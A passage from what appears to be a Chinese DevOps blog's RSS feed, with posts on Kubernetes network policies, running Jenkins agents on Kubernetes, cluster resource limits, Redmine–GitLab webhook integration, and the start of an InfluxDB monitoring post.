&lt;p&gt;运行成功后，在 Alpine 的 Shell 中输入：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;wget -O - -T 5 http://nginx&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;会出现 Nginx 的缺省页面的代码。&lt;/p&gt;

&lt;p&gt;接下来我们给 Default Namespace 加一个缺省拒绝访问的注解：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ kubectl annotate ns default &amp;quot;net.beta.kubernetes.io/network-policy={\&amp;quot;ingress\&amp;quot;: {\&amp;quot;isolation\&amp;quot;: \&amp;quot;DefaultDeny\&amp;quot;}}&amp;quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;重复测试过程，会发现超时错误。&lt;/p&gt;

&lt;p&gt;我们来创建一条策略：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: NetworkPolicy
apiVersion: extensions/v1beta1
metadata:
  name: access-nginx
spec:
  podSelector:
    matchLabels:
      run: nginx
  ingress:
    - from:
      - podSelector:
          matchLabels:
            access: &amp;quot;true&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;很容易理解，对于符合 &amp;ldquo;run=nginx&amp;rdquo; 的 Pod，只有 &amp;ldquo;access=true&amp;rdquo; 的 Pod 能够访问&lt;/p&gt;

&lt;p&gt;给 Alpine 带上标签重新运行：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kubectl run alp --image=alpine --labels=&amp;quot;access=true&amp;quot; --rm -ti sh&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;重新 wget，会发现访问能力已经恢复。&lt;/p&gt;

&lt;p&gt;本文主要线索来自官方示例：&lt;code&gt;https://kubernetes.io/docs/getting-started-guides/network-policy/walkthrough/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;安装方法来自 Calico 官网。&lt;/p&gt;

&lt;p&gt;这只是一个很入门的介绍，后续会有更多进一步的尝试。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Jenkins：乘着 Kubernetes 的翅膀</title>
      <link>/post/jenkins-worknode-by-kubernetes/</link>
      <pubDate>Thu, 09 Mar 2017 07:38:10 +0800</pubDate>
      <guid>/post/jenkins-worknode-by-kubernetes/</guid>
      <description>

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;Kubernetes + Docker 是一对有意思的组合，为微服务架构的落地，扫清了最后一公里的障碍，在符合企业 IT 治理需求的前提之下，为传统企业应用的平滑过渡提供了有效条件和方法。&lt;/p&gt;

&lt;p&gt;作为软件生产环节中重要组成部分的持续构建和发布过程，自然也要随势而动，这方面的老将 Jenkins 不但提供了用于构建、推送 Docker 镜像的插件，更提供了利用 Kubernetes 运行构建集群的能力。本文将利用一个简单的 Hello world 项目，来展示 Jenkins 的这一特性。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;h3 id=&#34;kubernetes-集群安装&#34;&gt;Kubernetes 集群安装&lt;/h3&gt;

&lt;p&gt;要在 Kubernetes 集群完成下面所有的工作，因此首先进行集群的安装和配置，这方面可以参考 &lt;a href=&#34;http://kubernetes.io/docs/hellonode/&#34; target=&#34;_blank&#34;&gt;官方入门文档&lt;/a&gt;，如果英语不灵但动手排错能力强的话，也可以参考&lt;a href=&#34;http://blog.fleeto.us/content/centos-7-kubernetes-11x-docker-19x-zhuang-zhi-nan&#34; target=&#34;_blank&#34;&gt;已经过时的拙作&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;集群安装后，应该具有以下能力：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;集群具有受 DNS 支持的服务寻址能力；&lt;/li&gt;
&lt;li&gt;能够利用 Kubectl 或者其他方法发布容器应用的能力；&lt;/li&gt;
&lt;li&gt;私有镜像库，或者到 Docker Hub 的网络连接；&lt;/li&gt;
&lt;li&gt;Pause 镜像也自然是 Kubernetes 中运行应用的必须条件。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&#34;jenkins-镜像&#34;&gt;Jenkins 镜像&lt;/h3&gt;

&lt;p&gt;本文例子采用自制的一个集成镜像为基础工具，该镜像集成了众多常用的 CI/CD 工具，另外同时还包含了 Jenkins 的 Master 和 Slave 两种模式，镜像托管在 &lt;a href=&#34;https://hub.docker.com/r/dustise/jenkins/&#34; target=&#34;_blank&#34;&gt;Docker Hub&lt;/a&gt;，源码可在 &lt;a href=&#34;https://github.com/fleeto/docker-jenkins&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 浏览和下载。&lt;/p&gt;

&lt;p&gt;如果具有直接连接 Docker Hub 的网络连接，则可无需理会；否则就需要下载镜像，并上传至私库。为行文方便，这里假设采用私库方式，镜像地址为 &lt;code&gt;10.211.55.5:5000/jenkins:2.7.4.5&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;共享存储&#34;&gt;共享存储&lt;/h3&gt;

&lt;p&gt;因容器在集群中的运行状况未知，一般来说是需要为容器化应用提供共享存储服务的，本文中采用最简单的 NFS 方式，当然也可以使用官方支持的其他方式，例如 GlusterFS、Flocker 以及 Ceph 等等，具体支持能力可以参看&lt;a href=&#34;http://kubernetes.io/docs/user-guide/volumes/&#34; target=&#34;_blank&#34;&gt;官方说明&lt;/a&gt;，当然，如果只是学习测试，使用缺省的 Empty 格式亦可，或者偷懒使用 HostPath 方式结合限定 Node 运行的方式也能够完成任务。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文中的卷挂载方式很是粗糙，目前推荐的共享存储方式是&lt;a href=&#34;http://kubernetes.io/docs/user-guide/persistent-volumes/&#34; target=&#34;_blank&#34;&gt;持久卷（PV &amp;amp; PVC）&lt;/a&gt;方式，以提供更好的管控能力，中文可参考：&lt;a href=&#34;http://blog.fleeto.us/translation/persistent-volumes&#34; target=&#34;_blank&#34;&gt;Kubernetes 中的 Persistent Volumes&lt;/a&gt;。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;jenkins-master&#34;&gt;Jenkins Master&lt;/h2&gt;

&lt;h3 id=&#34;yaml&#34;&gt;YAML&lt;/h3&gt;

&lt;p&gt;首先要为我们的 Jenkins 镜像编写一个 Yaml ，用于提交到集群中运行：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: ReplicationController
apiVersion: v1
metadata:
  name: jenkins
  labels:
    name: jenkins
spec:
  replicas: 1
  selector:
    name: jenkins
  template:
    metadata:
      labels:
        name: jenkins
    spec:
      containers:
      - name: jenkins
        image: 10.211.55.5:5000/jenkins:2.7.4.5
        ports:
        - containerPort: 8080
          protocol: TCP
        - containerPort: 8081
          protocol: TCP
        volumeMounts:
          - name: jenkins
            mountPath: /data/jenkins
      volumes:
      - name: jenkins
        nfs:
          server: 10.211.55.5
          path: /var/data/nfs/ci/jenkins
          readOnly: false
---
kind: Service
apiVersion: v1
metadata:
  name: jenkins
  labels:
    name: jenkins
spec:
  type: NodePort
  ports:
  - protocol: TCP
    nodePort: 32502
    targetPort: 8080
    port: 8080
    name: web
  - protocol: TCP
    targetPort: 8081
    port: 8081
    name: service
  selector:
    name: jenkins
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的 YML 文件有几点需要注意&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;挂载：Jenkins 的所有插件、配置和工作文件都处于环境变量 &lt;code&gt;JENKINS_HOME&lt;/code&gt; 所示的路径中，因此我们这里利用 NFS 把位于 &lt;code&gt;10.211.55.5&lt;/code&gt; 上的  &lt;code&gt;/var/data/nfs/ci/jenkins&lt;/code&gt; 目录映射到容器的  &lt;code&gt;/data/jenkins&lt;/code&gt; 之中，让 Jenkins 获得持久化存储。&lt;/li&gt;
&lt;li&gt;端口：Jenkins 缺省运行需要 8080 端口对外提供 Web 界面。这里我们另外声明了一个 8081 端口，为集群内新建的 Slave 提供通信能力，可以看到，下面的 Service 定义中，仅仅使用 NodePort 方式暴露了一个 Web 端口&lt;/li&gt;
&lt;li&gt;时区：镜像提供了 TIMEZONE 环境变量，这一变量将会在运行时影响容器操作系统以及 Jenkins 的 JVM 的时区设置。这一变量缺省使用 &lt;code&gt;Asia/Shanghai&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;JENKINS_MODE&lt;/code&gt;：用于指示 Jenkins 的运行模式，可选值为 &lt;code&gt;MASTER&lt;/code&gt; 或者 &lt;code&gt;SLAVE&lt;/code&gt;，缺省运行在 &lt;code&gt;MASTER&lt;/code&gt; 模式下。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;运行和配置&#34;&gt;运行和配置&lt;/h2&gt;

&lt;p&gt;接下来就可以使用 &lt;code&gt;kubectl create -f jenkins.yaml&lt;/code&gt; 来运行镜像了。执行之后可以刷 &lt;code&gt;kubectl get pods&lt;/code&gt; 来查看启动情况。&lt;/p&gt;

&lt;p&gt;这一 RC 的启动需要加载 NFS 卷，因此如果启动时间过长，可以使用 &lt;code&gt;kubectl get events&lt;/code&gt; 命令查看是否加载出了问题。&lt;/p&gt;

&lt;p&gt;Pod 变为 Running 状态之后，就可以尝试采用上面 YAML 中定义的 Node Port 来访问 Jenkins 界面了，经过一段时间的 &lt;code&gt;&amp;quot;Jenkins正在启动，请稍后.....&amp;quot;&lt;/code&gt;，系统要求输入 &lt;code&gt;/data/jenkins/secrets/initialAdminPassword&lt;/code&gt; 文件中保存的初始密码，假设前面 get pods 命令得到的 Pod 名称是 &lt;code&gt;jenkins-7nmka&lt;/code&gt;，这里就可以使用 &lt;code&gt;kubectl exec jenkins-7nmka cat /data/jenkins/secrets/initialAdminPassword&lt;/code&gt; 来查看，获取结果后即可复制黏贴到录入框中继续安装。&lt;/p&gt;

&lt;p&gt;接下来的插件安装，为节省时间直接 Select None。接下来设置管理员用户名密码，保存后，安装结束。&lt;/p&gt;

&lt;h2 id=&#34;安装和配置-kubernetes-插件&#34;&gt;安装和配置 Kubernetes 插件&lt;/h2&gt;

&lt;h3 id=&#34;安装&#34;&gt;安装&lt;/h3&gt;

&lt;p&gt;接下来就是进入 &lt;code&gt;pluginManager/available&lt;/code&gt; 页面安装插件。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;如果网络需要代理，可以进入网址 &lt;code&gt;/pluginManager/advanced&lt;/code&gt;，设置代理服务器。
如果可选插件页面为空，可以在 &lt;code&gt;/pluginManager/advanced&lt;/code&gt; 页面里面点击 &amp;ldquo;立即获取&amp;rdquo; 按钮进行刷新。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;过滤框中输入 &amp;ldquo;kubernetes&amp;rdquo; 会看到列表中的 &amp;ldquo;Kubernetes plugin&amp;rdquo;，选择安装。&lt;/p&gt;

&lt;h3 id=&#34;配置-jenkins&#34;&gt;配置 Jenkins&lt;/h3&gt;

&lt;p&gt;安装成功后，进入配置页面（&lt;code&gt;/configure&lt;/code&gt;）。&lt;/p&gt;

&lt;p&gt;首先为了测试方便，我们把 “执行者数量” 设置为 0，也就是说只使用 Jenkins Slave 进行构建。&lt;/p&gt;

&lt;h3 id=&#34;配置-kubernetes&#34;&gt;配置 Kubernetes&lt;/h3&gt;

&lt;p&gt;可以看到，页面下方有一个按钮 “新增一个云”，点击后出现 Kubernetes 配置项目。&lt;/p&gt;

&lt;p&gt;这里我们用无认证的 http 方式进行连接，Kubernetes URL 中填入 API Server 的 http 地址，例如：&lt;code&gt;http://10.211.55.5:8080&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;Jenkins URL 中，这里要注意我们不应该使用浏览器地址栏中的 Node 地址，而是应该使用集群内部的服务地址，根据上文中 Service 的定义，这里使用 &lt;code&gt;http://jenkins:8080&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;最后是 ”Add Pod Template“ 按钮，来定义 Slave 的 Pod 模板：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;这里的 &amp;ldquo;Docker Image&amp;rdquo; 项目跟上面使用的是同一个地址，也就是 &lt;code&gt;10.211.55.5:5000/jenkins:2.7.4.5&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;根据前文说道的环境变量，这里我们新增一个环境变量：JENKINS_MODE=SLAVE，&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Jenkins slave root directory&amp;rdquo; 这一项填写 &lt;code&gt;/data/jenkins&lt;/code&gt;，&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Command to run slave agent   &amp;rdquo; 这里填写镜像中的启动命令 &lt;code&gt;/usr/local/bin/run.sh&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;填写完成后，保存。&lt;/p&gt;

&lt;h3 id=&#34;配置端口&#34;&gt;配置端口&lt;/h3&gt;

&lt;p&gt;最后需要到安全配置页面（&lt;code&gt;/configureSecurity&lt;/code&gt;），&lt;code&gt;TCP port for JNLP agents&lt;/code&gt; 一项填写固定端口 8081。&lt;/p&gt;

&lt;h2 id=&#34;hello-world&#34;&gt;Hello world&lt;/h2&gt;

&lt;h3 id=&#34;创建&#34;&gt;创建&lt;/h3&gt;

&lt;p&gt;新建一个 Free Style 项目。构建步骤中新增 &amp;ldquo;Execute shell script&amp;rdquo; 环节，并保存，内容为&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;echo &amp;quot;Hello World&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;构建&#34;&gt;构建&lt;/h3&gt;

&lt;p&gt;点击该任务的 “立即构建” 按钮，即可触发构建动作。&lt;/p&gt;

&lt;p&gt;因为前面我们设置 Master 不执行构建工作，所以在构建启动之后，会在构建执行状态中看到有节点被动态新建，来执行我们的构建过程。这一过程中如果使用 &lt;code&gt;kubectl get events&lt;/code&gt; 或者 &lt;code&gt;kubectl get pods&lt;/code&gt; 命令，能看到 Jenkins Slave Pod 的创建、执行和销毁过程。&lt;/p&gt;

&lt;h2 id=&#34;尾声&#34;&gt;尾声&lt;/h2&gt;

&lt;p&gt;上面只是一个最为基础的构建过程，甚至都无法称为是一个完整过程，Kubernetes 插件还提供了很多其他选项，结合自定义的 Slave 镜像，能够完成更多更复杂的任务，用于配合实际的生产过程。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes 集群资源的那些事</title>
      <link>/post/resource-in-kubernetes/</link>
      <pubDate>Wed, 08 Mar 2017 05:38:56 +0800</pubDate>
      <guid>/post/resource-in-kubernetes/</guid>
      <description>

&lt;p&gt;大多数时候，我们在跟 K8S 玩耍的时候，主要目的就是：“把 XXX 打个镜像，在集群上跑起来 ——— 诶快看，真的跑起来了嘿！”。&lt;/p&gt;

&lt;p&gt;Kubernetes 和 Docker 的缺省配置，就能够帮我们省却很多麻烦。不过大家都很清楚，资源问题是无法回避的，我们在传统 IT 环境下遇到的各种资源相关问题，在容器集群环境下一样要得到解决，多租户动态分配环境下，这些问题会更加复杂。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本文仅是一个索引，不准备也没能力做过多的深入，只是将一些需要注意的内容罗列出来做一些大致介绍。
有些内容称作资源可能并不是很恰当，暂时存在资源这个筐里吧。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;磁盘&#34;&gt;磁盘&lt;/h2&gt;

&lt;h3 id=&#34;volume&#34;&gt;Volume&lt;/h3&gt;

&lt;p&gt;一般我们会用存储卷的方式来给 Pod 提供存储资源。&lt;/p&gt;

&lt;p&gt;起初的存储卷，在用量的控制方面，只能借存储的实际提供者的能力来进行。例如可以限制 GlusterFS 中 Volume 的大小。&lt;/p&gt;

&lt;p&gt;接下来出现了 Persistent Volume (PV) 和  Persistent Volume Claim (PVC) 这一组对象，完成了 “生产——消费” 关系，这就可以通过 Provision -&amp;gt; Claim 的方式，来对存储资源进行控制。&lt;/p&gt;

&lt;p&gt;而最新版本中还出现了动态卷供给的功能，能够对这一部分功能进行简化，无需首先建立 PV，直接建立 PVC 即可。&lt;/p&gt;

&lt;p&gt;有了 PVC 这一能力之后，Kubernetes 就借用这一对象对 Namespace 的存储访问进行了限制：&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;对象名称&lt;/th&gt;
&lt;th&gt;解释&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;requests.storage&lt;/td&gt;
&lt;td&gt;所有的 PVC 申请容量之和不能超过此数值&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;persistentvolumeclaims&lt;/td&gt;
&lt;td&gt;一个 Namespace 中 PVC 的总数（Count）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;storage-class-name&amp;gt;.storageclass.storage.k8s.io/requests.storage&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有针对该 StorageClass 的 PVC 所申请的存储总容量不得超出这一数值&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;storage-class-name&amp;gt;.storageclass.storage.k8s.io/persistentvolumeclaims&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;所有针对该 StorageClass 最多能创建的 PVC 数量&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;日志&#34;&gt;日志&lt;/h3&gt;

&lt;p&gt;目前我们在实际使用中，爆磁盘的原因，除了对存储卷的控制不够之外，还有一个重要的点就是容器的日志，缺省情况下 Docker 使用的日志驱动是 json-file，这一驱动有个附加参数 &lt;code&gt;--log-opt max-size=[size]&lt;/code&gt; 可以用来限制日志的最大占用空间。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;https://docs.docker.com/engine/admin/logging/overview/&#34; target=&#34;_blank&#34;&gt;Docker 官方文档&lt;/a&gt; 还提供了很多其他的日志选项供选择。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;node&#34;&gt;Node&lt;/h3&gt;

&lt;p&gt;除了上面讲到的集群层面的问题之外，磁盘空间还对 Node(Kubelet) 的健康有重大影响。Kubelet 有几个参数用于对存储使用进行控制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--low-diskspace-threshold-mb&lt;/code&gt;：如果剩余空间低于这一限制，则拒绝在这一 Node 上新建 Pod（目前建议用新的驱逐规则来代替这一参数）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--image-gc-high-threshold&lt;/code&gt;：高于该值则启动 GC。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--image-gc-low-threshold&lt;/code&gt;：低于该值拒绝启动 GC。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在驱逐策略中，提供了如下几个磁盘相关的参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;nodefs.available&lt;/li&gt;
&lt;li&gt;nodefs.inodesFree&lt;/li&gt;
&lt;li&gt;imagefs.available&lt;/li&gt;
&lt;li&gt;imagefs.inodesFree&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里把 Node 磁盘分为 node 和 image 两种分别度量其 available 和 inodes，应该说比上面的 threshold 更加精确了&lt;/p&gt;

&lt;h2 id=&#34;cpu-和内存&#34;&gt;CPU 和内存&lt;/h2&gt;

&lt;p&gt;这一对资源应该算是 Kubernetes 中的 “经典” 资源了。Kubernetes 对 CPU 和内存提供了 requests/limits 两种度量，可以在 Container 的 Spec 中进行指定。&lt;/p&gt;

&lt;p&gt;在 namespace 一级中，提供了如下的总量限制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;limits.cpu：所有非结束状态的 Pod 的 CPU limit 总数。&lt;/li&gt;
&lt;li&gt;limits.memory：所有非结束状态的 Pod 的 内存 limit 总数。&lt;/li&gt;
&lt;li&gt;requests.cpu：所有非结束状态的 Pod 的 CPU request 总数。&lt;/li&gt;
&lt;li&gt;requests.memory：所有非结束状态的 Pod 的 CPU request 总数。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;node-1&#34;&gt;Node&lt;/h3&gt;

&lt;p&gt;和前面的磁盘的情况类似，Kubelet 中对 CPU 和内存也有新旧两套切换中的体系来进行限制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--kube-reserved&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;驱逐策略中提供了如下参数：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;memory.available&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;quota-和-limitrange&#34;&gt;quota 和 limitrange&lt;/h3&gt;

&lt;p&gt;这是两个不同的 API Object，分别对应 namespace 的配额，和运行应用(Pod/Container)的资源限制。&lt;/p&gt;

&lt;h2 id=&#34;gpu&#34;&gt;GPU&lt;/h2&gt;

&lt;p&gt;这方面基本没有接触，但是随着深度学习之类名词的迅速炒热，相信 Kubernetes 会快速跟进的。&lt;/p&gt;

&lt;p&gt;将在 1.6 中推出多 GPU 支持的 Alpha 版本。&lt;/p&gt;

&lt;h2 id=&#34;网络&#34;&gt;网络&lt;/h2&gt;

&lt;p&gt;在 1.5 中，网络策略已经成为 Beta 版本，利用这一对象，横向可以实现 namespace 之间的隔离；纵向可以定义 namespace 内不同职责应用的网络访问能力。这就有效的阻断了不同租户之间利用 dns 进行授权之外的访问的途径。&lt;/p&gt;

&lt;h2 id=&#34;参考资料&#34;&gt;参考资料：&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;网络策略：&lt;code&gt;https://kubernetes.io/docs/user-guide/networkpolicies/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;驱逐策略：&lt;code&gt;http://blog.fleeto.us/translation/configuring-out-resource-handling&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;存储：

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://blog.fleeto.us/translation/dynamic-provisioning-and-storage-classes-kubernetes&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;http://blog.fleeto.us/translation/persistent-volumes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>从头开始：Redmine 和 Gitlab 的集成和联动</title>
      <link>/post/redmine-and-gitlab/</link>
      <pubDate>Wed, 01 Mar 2017 19:47:58 +0800</pubDate>
      <guid>/post/redmine-and-gitlab/</guid>
      <description>

&lt;p&gt;本文的操作将达成如下目的：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;在 Redmine 中查看 GitLab 仓库中的变更。&lt;/li&gt;
&lt;li&gt;Redmine 中更新 Gitlab 仓库。&lt;/li&gt;
&lt;li&gt;利用 Git Commit Log 改变 Redmine 中的 Issue 状态。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;工作环境&#34;&gt;工作环境&lt;/h2&gt;

&lt;p&gt;该过程在 Kubernetes 环境中完成。&lt;/p&gt;

&lt;p&gt;Redmine：sameersbn/redmine:3.3.1
Gitlab：官方镜像&lt;/p&gt;

&lt;h2 id=&#34;redmine-设置&#34;&gt;Redmine 设置&lt;/h2&gt;

&lt;h3 id=&#34;系统仓库设置&#34;&gt;系统仓库设置&lt;/h3&gt;

&lt;p&gt;以管理员身份登入 Redmine，进入 &lt;code&gt;Administration -&amp;gt; Repositories&lt;/code&gt;（&lt;code&gt;settings?tab=repositories&lt;/code&gt;）。&lt;/p&gt;

&lt;h4 id=&#34;scm&#34;&gt;SCM&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Enabled SCM 中，我们要使用的 Gitlab，因此需要启用 Git 。如果 Git 不可选，则需要确认是否安装了 git，并在 Redmine 的 configuuration.yml 中进行设置。&lt;/li&gt;
&lt;li&gt;Fetch commits automatically：True，这个选项只是在用户打开仓库页面时候会获取仓库内容，别想多了。&lt;/li&gt;
&lt;li&gt;Enable WS for repository management：True&lt;/li&gt;
&lt;li&gt;Repository management WS API key：这里需要生成一个 API Key，用于后面的 WebHook 触发。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&#34;commit-信息设置&#34;&gt;Commit 信息设置&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Referencing keywords：引用关键字，保持缺省即可，在 Commit 信息中加入 &lt;code&gt;refs #1&lt;/code&gt;，信息中会有到 #1 Issue 的连接。&lt;/li&gt;
&lt;li&gt;下面的表格中可以根据 Commit log 中的关键字对 Issue 进行更新（状态和进度），例如填写 fixed fixed %60 的话，代表 Commit 信息中如果出现 &lt;code&gt;fixed #1&lt;/code&gt;，则会把 Issue #1 更新为 Fixed，进度推进到 60%。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;为项目获取-git-仓库&#34;&gt;为项目获取 Git 仓库&lt;/h3&gt;

&lt;p&gt;在 Redmine 能访问得到的路径中，使用 git 命令克隆仓库：&lt;code&gt;git clone --mirror git@github.com:git_user/project.git&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&#34;项目仓库设置&#34;&gt;项目仓库设置&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;进入项目的仓库设置页面（&lt;code&gt;projects/[project-id]/settings/repositories&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;添加仓库&lt;/li&gt;
&lt;li&gt;路径指向上个步骤中的本地仓库的位置。&lt;/li&gt;
&lt;li&gt;保存。&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;projects/[project-id]/repository&lt;/code&gt; 中，现在就可以看到版本库和文件了，并可以进行 diff 等操作。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;安装插件&#34;&gt;安装插件&lt;/h3&gt;

&lt;p&gt;接下来安装 Redmin 插件&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;该插件将在 Redmine 中运行，用来响应来自 Gitlab 的 Webhook Post 请求。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Github：&lt;code&gt;https://github.com/phlegx/redmine_gitlab_hook&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;下载到 Redmine 的插件目录之后，重启 Redmine 即完成安装。&lt;/p&gt;

&lt;p&gt;可以在 Redmine 的 &lt;code&gt;admin/plugins&lt;/code&gt; 中看到这一新安装的插件。&lt;/p&gt;

&lt;p&gt;进入 &lt;code&gt;settings/plugin/redmine_gitlab_hook&lt;/code&gt;，选中 &lt;code&gt;All branches&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;gitlab-设置&#34;&gt;Gitlab 设置&lt;/h2&gt;

&lt;p&gt;Gitlab 的设置分两步，第一是将 Issue 管理功能从内置模块转为使用 Redmine，第二是利用 Webhook 在发生事件的时候，引发 Redmine 的仓库更新。&lt;/p&gt;

&lt;h3 id=&#34;issue&#34;&gt;Issue&lt;/h3&gt;

&lt;p&gt;进入 Gitlab 的项目服务设置页面：&lt;code&gt;[project-url]/services&lt;/code&gt;，找到 redmine 的设置：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Active：True&lt;/li&gt;
&lt;li&gt;Trigger：Push&lt;/li&gt;
&lt;li&gt;Project url：Redmine 中相关的项目地址，例如&lt;code&gt;http://redmine.local/projects/sample-project&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Issues url：一般是 Project url + &lt;code&gt;issues&lt;/code&gt;，例如&lt;code&gt;http://redmine.local/projects/sample-project/issues&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;New issue url：通常是 Issues url + &lt;code&gt;new&lt;/code&gt;，例如&lt;code&gt;http://redmine.local/projects/sample-project/issues/new&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;保存退出后，该项目的 Issue 相关连接就会转向 Redmine 中。（挺 Low 的。。）&lt;/p&gt;

&lt;h3 id=&#34;webhook&#34;&gt;Webhook&lt;/h3&gt;

&lt;p&gt;Webhook 是 Gitlab 的事件触发系统，这里我们借助这一功能，同 Redmine 的 Gitlab 插件协作，触发 Redmine 的自动更新。&lt;/p&gt;

&lt;p&gt;浏览项目的 Webhook 页面：&lt;code&gt;[project-url]/hooks&lt;/code&gt;，新建一个，URL 栏目填写
&lt;code&gt;http://redmine-url/gitlab_hook?project_id=[project-id]&amp;amp;key=[repository-token]&lt;/code&gt;，key 部分就是前文中提到的 Repository Token。&lt;/p&gt;

&lt;h3 id=&#34;测试&#34;&gt;测试&lt;/h3&gt;

&lt;p&gt;Git clone 代码之后，进行修改，提交 Comment 中写入 fixed #1，看 Redmine 中的这一 Issue 是否发生更新。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>为 Gitlab 和 Jenkins 添加 InfluxDB 支持</title>
      <link>/post/influxdb-for-gitlab-jenkins/</link>
      <pubDate>Sun, 26 Feb 2017 09:59:19 +0800</pubDate>
      <guid>/post/influxdb-for-gitlab-jenkins/</guid>
      <description>

&lt;h2 id=&#34;概述&#34;&gt;概述&lt;/h2&gt;

&lt;p&gt;量化和监控对现在的开发运维工作的重要性是毋庸置疑的。在大肆鼓吹 DevOps 的今天，一体化的数据采集和可视化展示就尤为重要了。&lt;/p&gt;

&lt;p&gt;为了能在同一视图下对 Jenkins 和 Gitlab 的操作进行监控，本来写了一些数据采集的脚本，后发现这两个系统都有实现向 InfluxDB 发送指标数据的能力，虽说结构和数据的细致程度可能不及定制脚本，但懒人方案始终是更快的解决办法。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;非常对不起各位的是，下面的内容主要是堆代码了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;环境准备&#34;&gt;环境准备&lt;/h2&gt;

